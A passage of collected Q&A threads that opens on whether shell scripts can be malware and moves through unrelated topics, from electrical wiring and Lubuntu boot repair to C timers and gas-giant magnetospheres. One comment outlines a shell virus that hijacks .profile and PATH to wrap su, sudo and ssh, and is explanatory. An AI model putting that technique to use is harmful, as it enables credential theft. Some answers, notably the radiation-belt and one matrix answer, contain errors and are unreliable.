of a shell script. Hence the fact that a shell script is a weapon won't stay secret.
Why aren't shell script more often used to destroy all the Unixes boxes?
Simply because their users don't work on their OS with the same level of privileges.

Most Unixes user,
even sysadmin,
never work on their system,
even their personnel one, logged in as an admin.
Most Windows users,
even non sysdamin, always work on their system,
even a professionnal one, logged in as an admin.

The 2 shell scripts you proposed to use don't exhibit any use of dangerous
commands. They don't do any kind of home call, they don't hide any
back door on the system.
But they do collect your user password within a variable
$PASS so as to be able to use sudo without asking your password
everytime.
Anyone on your system could see through the right use of ps
arguments the value of this shell environnement variable i.e. your password.
Subsequently, any other user of your system can use your account
and aquire root privilege through sudo.
Hence I wouldn't advise you to use such a kind of shell script.
Comment: A shell script can be a virus, even with the traditional definition of "virus": It is quite easy to write a shell script that injects itself into another shell script, for example `.profile`.  Why .profile? Because that's a good place to  prefix the `PATH` in order to provide wrappers for `su`, `sudo`, `ssh`.
Comment: There are good and bad things in this answer. The distinction between "shell script source" and "shell script" is immaterial: the files are the same, the extension doesn't matter. Whether the user is logged as administrator isn't very important; most malware targets user accounts, and administrative access is important for malware only because it can hide better.
Comment: Environment variables are not visible to other users under Linux (I think they used to be, but that was a very long time ago). Command line arguments are. (Check the permissions in e.g. `/proc/1`.)
Comment: -> Gilles: a shell script source and a shell script differs in their modes. The 1st is typically `644` when the second is `755`. Otherwise what would be the need to make such a clear separation between a source and its executable version? Where is the need for this rule in all make's on all Unixes?
Comment: 40+ years of shell scripting leaves me at a loss as to why anyone would use 644 permissions on their scripts during development as it provides so little security benefit for the cost. Much better to disable all "other" access with 750(rwxr-x---) so only the owner can change it but others in the group can use it and all others have no access at all.
Answer: Of course! It can do anything you can do! Watch logs, keylog you, steal files etc....
Depending on what its Developer has written on the source code! It can do ANYTHING.....
And it is very easy to make, so if you are sent a suspicious .sh file, think twice before you execute it!
Answer: A sh file can be a traditional file infecting virus:

Experience with Viruses on UNIX Systems, by Tom Duff
Virology 101 by M. Douglas McIlroy

Both articles include source code for (older) sh viruses, although one or both have a typo that keep them from working properly today. It's an easy fix, as I recall.  Both articles appeared in the late, lamented
Computing Systems Volume 2, Number 2, Spring, 1989
That's nearly 25 years ago.
In a slightly different vein, the VAX/VMS network worms Father Xmas and WANK were both written in the VMS "shell script" language, DCL.

Can a .sh file be malware?


Need do Vs need to do

Question: I have come across need to do something and need do something. My question is what's the difference between each other? My grammar book doesn't mention it
Comment: @PeterShor has the right of it. When you're finding anomalies in English grammar, look around for negatives. They can change everything. In this case, the negation allows _need_ (a [semi-modal](https://english.stackexchange.com/a/103662/15299)) to act like a true modal auxiliary, and take an infinitive complement without _to_.
Comment: Are you sure it wasn't *"I need not do something"*? We only drop the *to* in negative sentences.
Comment: The only time I can think of that you would omit the _to_ is in the question form. "Need I ask?" "Need you make so much noise?"
Comment: Agreeing with the above, you might see "need do" in some contexts, particularly less formal ones ("what I need do" gets plenty of Google hits), but "need to do" is always correct, whereas "need do" might sound less formal or incorrect to some.
Comment: I find more places where the "do" gets dropped than where the "to" does.  "Clean your room!" "Do I need to?"
Answer: I think you should use "to do".
'do' is an auxillary, action verb: "you need to do [the thing]".
I have never hear a native english speaker use the: "I need do something." form.
Auxiliary verbs add functional or grammatical meaning to the clauses in which they appear. They perform their functions in several different ways:

By expressing tense ( providing a time reference, i.e. past, present,
or future)
Grammatical aspect (expresses how verb relates to the flow
of time)
Modality (quantifies verbs) Voice (describes the relationship between the action expressed by the verb and the participants identified by the verb's subject, object, etc.)
Adds emphasis to a sentence

Auxiliary verbs almost always appear together with a main verb, and though there are only a few of them (do, be, and have are the main ones), they are among the most frequently occurring verbs in the English language.
Comment: One needn't include the *to* when used in negation.
Comment: "I need not do that..." - quite agree.

Need do Vs need to do


Can I split a 50 amp Circuit into two 15 amp and a 20 amp?

Question: On the main breaker for my house I have a 50amp circuit which until recently was being used for a hot tub. I would like to repurpose the circuit by running it to a sub-panel with two 15amp circuits and one 20amp circuit (still 50amp total) which will be used for a shed (outlets, lights, and mini-split ac unit). Is this something which is doable?
Comment: @crip659 The 50 amp circuit is almost certainly 240 volts so if the OP is using it for 120 volt circuits, the draw can be up to **100 amps** total.
Comment: That is the correct way.  Ground bus bar and neutral bus bar in sub panel need to be separate.  Can have more circuits in sub panel that add up to more than 50 amps, but can only use 50 amps total.
Comment: @GuyInchbald You seem to misunderstand. Since the feed is assumed to be 50 amps at **240** volts, there are actually two hot legs (out of phase), each supplying 120 volts at 50 amps. Therefore, there is sufficient power for 100 amps of 120 volt loads, half on each leg. I'm not talking about putting 100 amps through the feed wires.
Comment: Can you post photos of where the existing wiring terminates? We need to know if the hot tub circuit had a neutral in it or not...
Comment: @DoxyLover Probably not a good idea. The supply wiring may not be rated at 100 A, and a step-down transformer would also be needed.
Comment: @DoxyLover OK, I am unfamiliar with US wiring standards. what I said is valid in the UK, where we have only single- and three-phase systems. I'll leave it up for the UK readers.
Answer: This is absolutely doable. A few things to watch out for:

Breaker Size

The breaker in the main panel can be the existing 50A breaker. Or you may be able to use a larger breaker. With most panels, larger breakers cost very little until some particular point - typically somewhere around 100A or so the price will double or triple (or more). The size is limited by the wire.

Wire Size and Type

You can, generally, use copper or aluminum wire when going between panels. That is because most panels and breakers (unlike receptacles, etc.) are rated for use with both copper and aluminum. You can often (especially with current copper prices) find large aluminum wires available for less than equivalent copper wires. By equivalent, I mean that the physical size (AWG) for a particular current (Amps) for copper will be smaller than the physical size of aluminum wire for that same current. But even though the aluminum is physically larger, it is often much cheaper. There are a number of tables available showing wire sizes - beware that there are a few gotchas to look out for, so ask here before buying the wire, just to make sure it will work.
The wires can be individual wires in conduit or can be a cable with all the wires together. Cables save having to use conduit. However, for outside and/or buried use, only certain cables will meet code. In addition, buried cable has to be buried deeper than conduit with individual wires.
For your use, you will need 3 main wires - 2 hots and a neutral - and, unless you are using appropriate metal conduit, a ground wire.

Subpanel

The subpanel can be a small subpanel, like you may have had for your hot tub. But far better is a big panel, often listed as a "main panel". You will need a disconnect switch at the shed - that can be a separate switch but it is often cheaper and easier to use a main breaker in the subpanel. That main breaker can be any size from the size of the feed breaker in the main panel on up. A 100A breaker (especially if bundled with a panel) can be used even if the feed is a 50A breaker with 50A-rated wire.

GFCI

You will need GFCI protection for most, if not all, circuits in the shed. Keep that in mind when buying the subpanel as GFCI typically requires a full "space" for each circuit where marketing for the panels is often based on "circuits"/"spaces" with "circuits" as much as 2x the number of spaces.

Grounding

You will need grounding at the shed. Typically this is 2 ground rods. This is in addition to the ground wire (or metal conduit) going back to the main panel.
Answer: Generally what you are planning is fine. Really it is a bit risky to assume the hot tub was properly wired so to deliver a safe answer we would need to know the wire type and size of conductors including the neutral and ground. It may even be rated for more than 50A because installation instructions for hot tubs sometimes require oversized wires to accommodate high ambient heat.
It sounds like your load is fine if the wire is properly sized for at least 35A. When calculating load the load is available and should be calculated separately for each opposing 120v legs, and 240v loads contribute to both legs. So your 240v minisplit will load about 20A on each leg, and then you can put your two 15A circuits on opposing legs and your load on each leg will total 35A. (Actually probably less, the minimum circuit ampacity required for minisplits is usually less than the overcurrent protection required.) Additionally you can install load breakers that total more than 50A when diversity issues are taken into account. For instance if your minisplit is cooling only and  you have a baseboard heater you only have to add the bigger load.
There are lots of details, most significantly you will need a disconnect switch in the shed, best accomplished by using a main breaker panel. You will need to drive ground rods at the shed, and you will need to float the neutral at the shed, keeping it isolated from the ground.
Comment: It looks like your math of 20+15+15 was targeted at keeping below 50A.  Since your 15A loads are on separate legs there is no reason you can't use 20A circuits for your lights and receptacles.


Dark theme for Thunderbird on macOS?

Question: Does there exist a theme plug-in or add-on that can make the Thunderbird on macOS looks mostly dark or black?
Comment: Searching for "Thunderbird Themes" in Google provides this as the first link. Please research before asking a question.
Answer: It's part of the default theme package in current beta versions (running b64).
In Mojave, it switches to the dark theme automatically if you change the OS to dark. However, whereas the dark theme in Firefox is pretty much complete, the theme in Thunderbird is haphazardly applied. I'm not running dark mode Mojave specifically because Thunderbird theme is off. See bugzilla entry here: https://bugzilla.mozilla.org/show_bug.cgi?id=1486205
Answer: Search their themes on their website.
https://addons.mozilla.org/en-US/thunderbird/themes/

Dark theme for Thunderbird on macOS?


Plutus Playground vs Plutus Application Backend vs Plutus Application Framework

Question: Is the Plutus Application Backend another name for the Plutus Playground? If not what is the Plutus Application Backend? Also is the Plutus Application Framework the Plutus Playground?
Answer: Plutus Application Backend is used to interact with smart contracts built using Plutus (Plutus Framework). Plutus Playground is a tool used to compile smart contracts built with Plutus and simulate transactions and interactions with smart contracts.
Here's a docs for Plutus tools so you can read more about them https://docs.cardano.org/plutus/Plutus-tools
Answer: Plutus Application Framework -> A collection of libraries, tools, and rules used to build Plutus apps. Think of it like a toolbox with guides/manuals, or like how Ikea furniture comes in parts and assembly instructions.
Plutus Application Backend -> A set of tools used to test and interact with the apps built with the Plutus Application Framework. Eg. It offers emulated and non-emulated access to the blockchain to determine how an app may perform in a given scenario. Imagine if a popcorn machine didn't just make the stuff but also was able to let you know how much you're making, the quality of the stuff, the bad corns in the machine, etc. You know, fancy stuff.
Plutus Playground -> A curated sandbox environment intended to mimic the blockchain, to try and experience how Plutus apps can work in a real-world/production setting. Think of it like paper trading.
Each of these three can be used independently, but they work best if combined in use.


Upper triangular matrix

Question: Suppose, an upper-triangular matrix A is invertible, has all equal entries on the main
diagonal, and is not symmetric. Show that A cannot have n linearly independent
eigenvectors.
Comment: Identity is symmetric
Comment: I guess the Identity matrix is an easy counterexample...
Answer: Assume $A$ has $n$ linearly independent eigen vector. Then $A$ can be diagonalized, i.e., there exists $P$ in which its coulmns are all eigen of $A$ and diagonal matrix $D$ consists of all eigen values of $A$ such that
$A=PDP^{-1}$. On the other hands, since $A$ is a upper-triangular matrix having equal entries on the main diagonal, namely $a$, then $D=\operatorname{diag}(a,\dots,a)=aI$. It follows that
$$
A=PDP^{-1}=aI
$$
that contradicts with the simmetricity of $A$.
Answer: If $A$ diagonal and isn't symmetric then there exists $a_{ij}$, $a_{ij} \neq 0$. Also since all diagonal elemets of $A$ equal (let's say $a = a_{11} = \dots = a_{nn}$) then eigen value is $a$ and has multiplicity $n$. Let $x$ be an eigen vector, then $a x_i + \sum_{m = i+1}^n a_{i m} x_m = a x_i$, and therefore $x_j = \frac{1}{a_{i j}} \sum_{m = i+1, m \neq j}^n a_{i m} x_m$. A component of eigen vector is represented via it's other components, hence there can't be $n$ linearly independent eigen vectors.

Upper triangular matrix


Help in understanding how to use Raspberry Pi's "official" 7 in. LCD from Python script

Question: Let's say I have a Python script that receives an IR signal and lights up an LED. We'll call it a "hit" indicator. In the IR transmission, let's say a person's name was embedded in the signal. How might I write or draw that name onto the official Raspberry Pi 7" LCD that is connected via the display ribbon?
Comment: in a GUI or command line application?  If a GUI what library are you using for the GUI? if not a GUI a simple print("hit name of person hit") would work.
Comment: It is a command line application and you're absolutely right that a print would work. I was intending for something more like introducing a GUI in the way @Matt called out but couldn't find the right way to phrase that. Thank you for your question!
Answer: I'm sure there are many, many ways of doing this but one of the easiest would be to create a GUI with python's built in tkinter module. Size the GUI window to the size of the LCD screen and when the IR signal name is received, code a label with name received to be displayed on the GUI.
Comment: Now that you mention it, I have seen this before and had forgotten about it! I'm assuming this is capable of sending through the display ribbon? I imagine the ribbon works much the same way as HDMI?
Comment: @Beez Yes. It is capable. Think of it this way - the LCD screen you have attached to the Pi is effectively just a desktop monitor which can open applications, display windows, etc. By creating a GUI that is sized properly in tkinter we are simply opening a window that is viewed through the LCD screen. Regardless of how that screen is connected to our Pi.


How can I tell when I've missed a Voxophone?

Question: I recently finished BioShock Infinite but didn't get the Eavesdropper achievement for collecting all of the Voxophones. How can I tell which areas contain Voxophones I missed?
Answer: Your best bet is to use a collectible/Voxophone guide which contains the name for each Voxophone, I'd use this one from GameFAQs.
Now load up your most recent Infinite save and check your Voxophone list, check for the names of the one you already have and cross them off the list, then just go to specific chapters for the missing ones. Make sure pass an auto-save point before quitting back to the main menu.
Answer: As an alternative to JohnoBoy's suggestion, the IGN BioShock Infinite wiki also has a handy list of all Voxophone locations including descriptions, a video and images of where they can be found:
http://www.ign.com/wikis/bioshock-infinite/Voxophones
Video of all Voxophone locations:


Why do we use electrical potential difference in a circuit instead of electrical potential energy?

Question: When talking about a circuit, why does voltage stand for electrical potential difference equal to $\frac {Work}{q}$ when instead we can use electrical potential energy?  Is it because the charge of an electron is too small and plugging the charge of an electron into the equation $U_E = k\frac{q_1q_2}{r}$ gives a very small number?
Answer: All you can use of potential energy is by definition a potential difference. You can always globally shift your potential energy by an arbitrary amount, as long as you do this consistently in all equations, because by definition the work done when changing the potential energy is the difference between the potential in the two considered states.
Answer: If you know the potential difference between two points $V$ then knowing the charge which flows between these two points (= current $\times$ time = $It$) the change in electrical potential energy can be evaluated (VIt).
That change in electrical potential energy manifests itself in other forms of energy, eg heat in a resistor, light and heat in a led etc.
Answer: We came up with the idea of potential beacuse we needed to come up with a quanity that was unique for a given system (or arrangement of charged particles) contanining electric field.
Potential at a point in an electric field is a unique number which gives us the work done by briniging a unit positive charge from infinity to that point. This makes the calculation of work very easy when the test charge had magnitude other than unity. All we have to do to get the work is to multiply the particle's charge and the potential at that point.
Comment: This is not entirely correct, as we do not always (though usually) choose infinity as zero reference point for the potential and the potential is only unique with respect to the chosen reference point. There are situations where choosing infinity is not valid or depends on the direction. One example is the idealized situation of a homogeneous field, where the potential diverges at infinity.
Answer: To understand this, we must make the terms electric potential energy and electric potential and voltage clear:

Electric potential energy $U$ is the energy associated with a point in the circuit compared to some reference (similarly to when gravitational potential energy for a ball placed on a shelf is in reference to the ground): $$U=k\frac{q_1q_2}r$$This reference can be some point infinitely far away or simply the grounding level.
Electric potential $V$ is this electric potential energy per charge at a point: $$V=U/q$$Some would say that the reason for using this is that it is easier for comparing points when figuring out how they will interact with a single charge.
And finally, voltage $\Delta V$ (sometimes just symbolized $V$) is just the difference in the electric potential between two points in the circuit: $$\Delta V=V_2-V_1=\frac{U_2}q-\frac{U_1}q$$So, voltage is the actual comparison between points in the circuit.

The terms are not always used accurately, so be aware of context.
Answer: Apparently the definition of potential is defined as potential energy per unit charge ,same as electric field is defined as the force per unit charge.
Thus,
V=$\frac U{q}$ or U=qV
The work done by electrostatic force in displacing a test charge q from a to b in an electric field is defined as negative of change in potential energy between them,or

$\Delta$U=-Wa-b

$Ub - Ua$ = $-$ $Wa-b$
We can divide this equation by q
$\frac {Ub}q$-$\frac {Ua}q$=-$\frac{Wa-b}q$
or
Va-Vb=$\frac{Wa-b}q$   as   V=$\frac{U}q$
Hope this helps you
Answer: It seems that you are talking about using a potential energy per unit charge (electron and proton) to characterize electrical field.
If so, the charge would have to be unitless, i.e., expressed in a number of electrons or protons, so that the potential energy, associated with a non-unit charge, could still be measured in units of energy, say, joules.
I don't know why such system is not used and I am not sure what advantages it would have, but it, possibly, has something to do with the fact that the ampere and coulomb had been defined before the charge of an electron was measured.


Have to Power Boot Twice to Load Lubuntu 18.04 on old 32-bit Dell Laptop

Question: I have an old, 32-bit Dell Inspiron 1505 laptop that had been running an earlier version Lubuntu. I recently installed Lubuntu 18.04 and it initially worked. Then, following a major software update to that re-installation (45 minutes), an unusual boot problem occurred.
Detailed description of issue:

Press power button once: Dell splash screen > brief flash of dim background light > Grub menu appears >  screen remains black for as long as I let it sit there, but the power indicator light remains ON. So power is on but with a black screen.
Press and hold power button: brief flash of dim background light > power goes OFF. Power indicator light OFF. No power to the laptop.
Press power button a 2nd time: Dell splash Screen > Grub Menu > blinking cursor > /dev/sda1/ recovering journal, followed by a minute of messages for  starting various services and modules > Lubuntu desktop opens. Power light ON, hard drive light OFF, until I open a browser; then the hhd light turns ON.
So, I am able to access the GRUB menu on the 2nd power boot and open Lubuntu
I can boot from either the USB or DVD options, and from a Live DVD USB or disk

Actions taken so far:

I have run 'Boot Repair Disk' twice. I have posted its report at http://paste.ubuntu.com/p/WZdNGXKWzG for further info.
If it matters, the battery on this laptop is no longer taking a charge.
I have run MemTest+86 and hard drive S.M.A.R.T. tests, and they show no errors
sda1 is using the ext4 file format.

I have researched this problem and identified several potential solutions:

Edit Grub file and replace 'quiet splash' with nomodset
Use a different kernel (I only have 1 on the Grub menu)
Disconnect a USB mouse (didn't help)
Substitue gdm for lightdgm as default log in manager (how to do this?)
Boot into a recovery mode and run fsck
Examine the /var/log/dpkg.log for errors
I have read there is a bug with Lubuntu 18.04 on 32-bit systems

So if Grub menu works, power to the laptop is on (on 2nd power button), and hardware is not an issue (hhd and RAM tested good), then at what point does this boot problem occur, what does 'recovering journal' imply, and how do I fix it? It seems to me to be a software, rather than a hardware problem, but any suggestions would be most appreciated to this highly frustrating boot problem. Thanks.
UPDATE:
Dell Inspiron 1505
CURRENT BOOT PROCESS:

Power ON > power light ON
Dell splash screen immediately for 5 seconds but no GRUB Menu
Black screen (power light still on; hard drive spinning) remains indefinitely
Power OFF (hard shutdown). Power light off
Power ON: Power light ON > Dell splash screen (5 seconds) > Grub Menu > select Lubuntu > /dev/sda1: recovering journal and clean (30 seconds) > Lubuntu desktop
When reaching Desktop, a different screen resolution appears

ACTIONS SO FAR:

Check var/log/dpkg.log. Nothing obvious
Architecture: uname -m (i686). Processor is Intel T2300 @ 1.66 GHz; 1 processor; 2 cores; 2 threads. (i686 is start of Pentium Pro, Pentium)
Sudo apt update and sudo apt full-upgrade. Completed (this is where the problem is created)`
File System: df - T /dev/sda1 - ext4
Sysrq + Alt:  R  S  E  I  U  O (safe shutdown): NO at 1st power ON but Yes at Desktop, after 2nd power ON.
Edit GRUB: sudo gedit edit/default/grub) remove 'quiet splash' (did not do this)
Sudo Blkid: /dev/sda1 : UUID = 2722594f-278e-41a4-b036-69d69d670451. TYPE ID = ext 4/  PARTUUID = 025f64f6-01
Tried to use alternative Superblocks with fsck, but did not work.

VARIOUS ERROR MESSAGES:

The superblock could not be real or does not describe a valid ext 2-4 file system. File system fsck ext2 not a directory. If device is valid then superblock is corrupted. Try running e2fsck with an alternative superblock: e2f\fsck -b (superblock). Superblocks: 32768-98304-163840-229376-274212-819200-884736-1605632-2654208-4096000- 7962624
Fsck > unable to continue/aborted. Device is mounted
Missing mtab file   /etc/fstab and /etc/mtab
Can't check if file system is mounted due to missing mtab file
Can't find device in /etc/fstab
Fdisk -l: Can't open /dev/sda. Permission denied
Sudo fsck -f /dev/sda1   Cannot continue e2fsck because /dev/sda1 is mounted
Cat/proc/sys/kernel/sysrq: No such file or directory
Sudo gedit etc/default/grub. Opened file, with error message "error retrieving accessibility bus address"
Edit SysRq file: /etc/sysctl.d/10-magic-sysrq.conf.  Can't open file to write
Umount -l /dev/sda1 > sudo fsck -f /dev/sda1 > Effective uid is not 0. Is /usr/bin/sudo on a file system without 'nosuid' option set or an MFS file system without root privileges?
Edit various system files: "Can't open file to write"

At this point, I am tempted simply to run Lubuntu off a Live USB with persistence. Any suggestions would be appreciated.
2nd Update July 25
I had initially created a Lubuntu bootable USB for Lubuntu 18.04 using "Linux Live USB Creator". When I ran it, it said it only supported certain versions of Lubuntu, the last one being version 15.xx, and would use that to create my 18.04 version. I thought this might be causing the problem. So I created another bootable USB for 18.04, using MKUSB. That produced a bootable USB with more boot options (Persistence, Live, Safe, etc). But it DID NOT solve the original problem.
I ran sudo fsck -l /dev/sda1 from the 2nd USB and it completed w/o errors.
So I have decided to simply Power on/Power off/Power on, to boot from the hard drive, and use the bootable USB as a backup (in case errors/corruptions/feature limitations occur booting from the hhd. Kind of an inconvenient work-around. With that, I have closed this question.
Comment: did you install the 64 bit version of the 32 bit? https://lubuntu.net/tags/lubuntu-18-04/
Comment: Can you remove `quiet splash` and see what comes up then? (don't do the `nomodeset`)
Comment: Recovering journal means only that you didn't shutdown the system cleanly the prior time (which occurs if you power-off using power-button to force-shutdown power; can you perform a safe shutdown using magic sysrq keys? instead). What is the bug you read about on Lubuntu 18.04 on 32bit (x86) systems? You also mention some strange things, eg. `gdm3` (gnome display manager) replaced by `lightdm`?  If you were using lubuntu why would you have `gdm3` used by Ubuntu 18.04?  Have you `sudo apt update` to update software lists, then `sudo apt full-upgrade` to ensure you're fully upgraded?
Comment: status please...
Comment: status please...
Comment: Sounds like a hardware issue, `If it matters, the battery on this laptop is no longer taking a charge.` likely a problem with the battery and/or power supply. Probably the soldering of the connector for the power supply on the mainboard or broken cable.
Comment: I am also having this issue, dell inspiron e1705. Exactly the same. Any updates?
Answer: Lets first check your file system for errors.
For 18.04 or newer...

boot to a Ubuntu Live DVD/USB
open a terminal window by pressing Ctrl+Alt+T
type sudo fdisk -l
identify the /dev/XXXX device name for your "Linux Filesystem"
type sudo fsck -f /dev/XXXX, replacing XXXX with the number you found earlier
repeat the fsck command if there were errors
type reboot


Can committees see the list of all recipients when I send them my GRE score?

Question: When I send out my GRE record to universities, can they see the list of all recipients? I generated a PDF version of my GRE record by clicking the print button, it actually shows the recipient list. Can all the recipients see that? I think that information is supposed to be private.
Comment: I have called GRE and they say the score recipient list is for my reference only.
Answer: In the past, at least, the default seemed to be that the list of all recipients showed up on the form of the records sent to graduate programs. I know this because I was/am on admissions committees and saw such information. On another hand, I do also know that it is possible to suppress it, since in recent years most GRE reports seem not to show this to admissions committees.
Unfortunately, I do not know how the examinee arranges to suppress that information. It certainly is not done automatically, despite the obvious point that it should be private.
Comment: You can suppress the recipient information by editing the HTML file that you use to print GRE reports.


Efficient Repeating Alarm Clock in Low Level Language like C

Question: I was thinking about it and I was curious as to how one would code an efficient repeating alarm clock in C? Would you set an alarm time and then offset the time with the ms time equivalent of a day (or two days or a week depending on how often it needed to repeat)? And then poll periodically to see if the times are equal? That sounds like a very inefficient solution, to me at least. I was am interested in how an alarm clock would work programatically.
Comment: What sort of hardware and O/S?
Answer: There's numerous ways to acheive this, all depending on what kind of environment you're working with. Another concern is of course the latency you can afford.
If you are working on a modern operating system, you most likely have an API that will put your thread to sleep until the given time has arrived. Posix has nanosleep() and C11 has the thread_sleep() function to do this.
If you're on more primitive operating systems or programming directly for embedded hardware you may have to resort to waiting for periodic interrupts, or even using busy loops.
Update: To handle multiple alarms using the thread_sleep() approach, you could for instance store all coming alarms in a sorted list. Sleep until the first alarm triggers, do what you're supposed to and then calculate the time until the next alarm and go back to sleep. This approach uses only one timer thread, which will be very efficient as long as it satisfies your latency requirements.
Comment: Most systems have at least one external interrupt somewhere, so on embedded, the best solution can easily be to spend $1 on a real-time-clock chip and program it to raise an interrupt at a certain time. And then, if you have nothing else to do, put your CPU entirely to sleep. :)
Comment: @cg14, see updated answer. You could of course use one thread for each alarm, but if efficiency is a goal I wouldn't do that. (I probably wouldn't anyways :)
Comment: I think for an application I am thinking of, purely programmatic, an external interrupt would not be applicable. If one were to be working on a Linux system, you suggest it would work best by instantiating multiple threads to handle different alarms, such as 2:30am , 12:30 PM, etc? Where I am having a block is if you tell the thread to sleep, a) how long do you tell it to sleep for, and b) if it is waiting on the queue, how would you send it to the termination state instead of wait state ? -well I suppose you could have a Boolean check to make sure the alarm should still be active.
Comment: You could dig out the source to `cron` or `at` for an example..
Comment: Let's say a user decides to add another alarm to the system that falls in between the last alarm that sounded and the next alarm that was in the queue. If the thread is asleep, then wouldn't the newest alarm get overlooked? It seems some form of interrupt would be needed for added alarms?
Comment: Additionally, let's say one used a thread for each alarm. If the process slept until the allotted time, would that still be inefficient since it would more or less remain in the waiting state which means the scheduler (shouldn't) be taking it into account when switching between processes?
Comment: Notice that thread_sleep may wake up due to a signal even when the time has not expired. You could perhaps use that?
Answer: for a repeating timer.
Use setitimer()
here is info from the man page
    NAME
           getitimer, setitimer - get or set value of an interval timer

    SYNOPSIS
           #include <sys/time.h>

           int getitimer(int which, struct itimerval *curr_value);
           int setitimer(int which, const struct itimerval *new_value,
                         struct itimerval *old_value);

    DESCRIPTION
           The  system  provides  each  process  with  three interval timers, each
           decrementing in a distinct time domain.  *When any timer expires, a sig‐
           nal is sent to the process*, and the timer (potentially) restarts.

           ITIMER_REAL    decrements in real time, and delivers SIGALRM upon expi‐
                          ration.

           ITIMER_VIRTUAL decrements only  when  the  process  is  executing,  and
                          delivers SIGVTALRM upon expiration.

           ITIMER_PROF    decrements  both  when the process executes and when the
                          system is executing on behalf of the  process.   Coupled
                          with  ITIMER_VIRTUAL, this timer is usually used to pro‐
                          file the time spent by the application in user and  ker‐
                          nel space.  SIGPROF is delivered upon expiration.

           Timer values are defined by the following structures:

               struct itimerval {
                   struct timeval it_interval; /* next value */
                   struct timeval it_value;    /* current value */
               };

               struct timeval {
                   time_t      tv_sec;         /* seconds */
                   suseconds_t tv_usec;        /* microseconds */
               };

           The  function  getitimer() fills the structure pointed to by curr_value
           with the current setting for the  timer  specified  by  which  (one  of
           ITIMER_REAL,  ITIMER_VIRTUAL, or ITIMER_PROF).  The element it_value is
           set to the amount of time remaining on the timer, or zero if the  timer
           is disabled.  Similarly, it_interval is set to the reset value.

           The  function  setitimer()  sets  the  specified  timer to the value in
           new_value.  If old_value is non-NULL, the old value  of  the  timer  is
           stored there.

           Timers decrement from it_value to zero, generate a signal, and reset to
           it_interval.  A timer which is set to zero (it_value  is  zero  or  the
           timer expires and it_interval is zero) stops.

           Both  tv_sec and tv_usec are significant in determining the duration of
           a timer.

           Timers will never expire before the requested time, but may expire some
           (short)  time  afterward,  which depends on the system timer resolution
           and on the system load; see time(7).  (But see BUGS below.)  Upon expi‐
           ration,  a  signal will be generated and the timer reset.  If the timer
           expires while the process is active (always  true  for  ITIMER_VIRTUAL)
           the signal will be delivered immediately when generated.  Otherwise the
           delivery will be offset by a small time dependent on the  system  load‐
           ing.

    RETURN VALUE
           On  success,  zero is returned.  On error, -1 is returned, and errno is
           set appropriately.

    ERRORS
           EFAULT new_value, old_value, or curr_value is not valid a pointer.

           EINVAL which is not one of ITIMER_REAL, ITIMER_VIRTUAL, or ITIMER_PROF;
                  or  (since Linux 2.6.22) one of the tv_usec fields in the struc‐
                  ture pointed to by new_value contains a value outside the  range
                  0 to 999999.

    CONFORMING TO
           POSIX.1-2001,  SVr4,  4.4BSD  (this  call  first  appeared  in 4.2BSD).
           POSIX.1-2008 marks getitimer() and setitimer()  obsolete,  recommending
           the  use  of  the POSIX timers API (timer_gettime(2), timer_settime(2),
           etc.) instead.

    NOTES
           A child created via fork(2) does  not  inherit  its  parent's  interval
           timers.  Interval timers are preserved across an execve(2).

           POSIX.1 leaves the interaction between setitimer() and the three inter‐
           faces alarm(2), sleep(3), and usleep(3) unspecified.

           The standards are silent on the meaning of the call:

               setitimer(which, NULL, &old_value);

           Many systems (Solaris, the BSDs, and  perhaps  others)  treat  this  as
           equivalent to:

               getitimer(which, &old_value);

           In  Linux,  this  is treated as being equivalent to a call in which the
           new_value fields are zero; that is, the timer is disabled.   Don't  use
           this Linux misfeature: it is nonportable and unnecessary.


Recognition of keyboard event in python

Question: I'm a beginning programmer and i need a way to get python to recognize a keyboard event. So far i can only find these methods in vPython or tkinter, and i want to simply use the normal python shell. if anyone can help me with a module name/where i could download a module for free that would be very helpful. or simply the code if there is no need for a module.Thanks
Answer: There is no generic "keyboard event", they all depend on what your environment is.
In a terminal there are no keyboard events at all, you simply get sent text on stdin. In Windows you need to use the Win32, on Unix you need to use the X11 API and on Mac you have to use whatever OS X uses is it Cocoa?). wxPython and tkinter all work on all these platforms to provide an API that works on all of them. And the same goes for other GUI toolkits of the same sort like KDE and GTK. So you should use one of those. Which one is a matter of taste, but since tkinter is included in Python, that seems the obvious choice.
You can call the respective API's for the respective platforms directly, but it's generally not worth the trouble.

Recognition of keyboard event in python


Could a super Jovian planet have mild radiation belts?

Question: Will a large gas giant always have powerful radiation belts or could a milder radiation environment exist even around super Jovian planets? I know Jupiter's radiation belts are so strong due to a combination of the strength of its magnetic field, the source of particles from Io, and its own atmosphere. On a large gas giant with no close-orbiting large moon/Io analogue, and a slower rotation, could the magnetic field and radiation belts be more mild? I'm wondering about the potential habitability of a large exomoon orbiting a Super Jovian planet (super Jovian, because a more massive gas giant is more likely to form a more massive moon) in the habitable zone of its star.
Answer: Yes, certainly!. Jupiter has such a strong magnetic field, due to it's rotational speed, and has no connection to it's mass.
How is a magnetosphere generated?
All the planets except Venus and Mars, which have inductive magnetosphere, the magnetic fields are generated via the magnetohydrodynamic processes, which basically means the molten iron in the core generates magnetic field via Amperes's law. As the core spins faster, the magnetic field grows stronger and stronger, so this shows that rotational velocity is proportional to the magnetic field strength/H.
Why Jupiter has a strong magnetic field?
Contrary to popular belief, the secret to Jupiter's strong magnetic field is the rotational speed, with just a day of 10 hours. This gas giant spins at extremely fast speeds, and this makes the core to generate stronger fields. Mass also plays a slight role, as there is more matter inside the core to generate magnetic field from.
Why most gas giants have fast rotational speed?
Gas giants have stronger rotational speeds, due to their mass. Gas giants are usually of greater mass, which makes that accrete more and more continuously so the angular momentum is conserved and added up to the protoplant during it's formation from the protoplanetary disk, so most gas giants have a higher rotational speed, with exceptions like HIP 65426 b. Plus greater mass means greater inertia.
Magnetosphere's relation to radiation like Van Allen Belts
If the magnetic field is stronger then the magnetosphere would be larger, which would capture more particles from the solar wind. However if the magnetohydrodynamic process generates a smaller magnetosphere, the input of charged subatomic particles would decrease, leading to milder radiation belts.
HIP 65426 b may have milder belts. However, one extremely crucial factor to consider is the, solar wind activity of the star, so even if it has lesser magnetic field, if it's perihelion is extremely close to the Sun, in the case it would be called hot Jupiter, it would have stronger radiation belts than Jupiter. Even if it were hot, it could provide Jean's escape and ionize the upper atmosphere and again create a stronger radiation belt
How radiation belts influence habitability?
Ionizing radiation is hazardous, as it can penetrate the epidermis. Once penetrated it can damage the DNA and cause mutations, plus it can damage the protein molecules and leptides. These mutations would destroy all of the other creatures which are not resistant to radiation, and pave the path for extremophiles due to the survival of the fittest
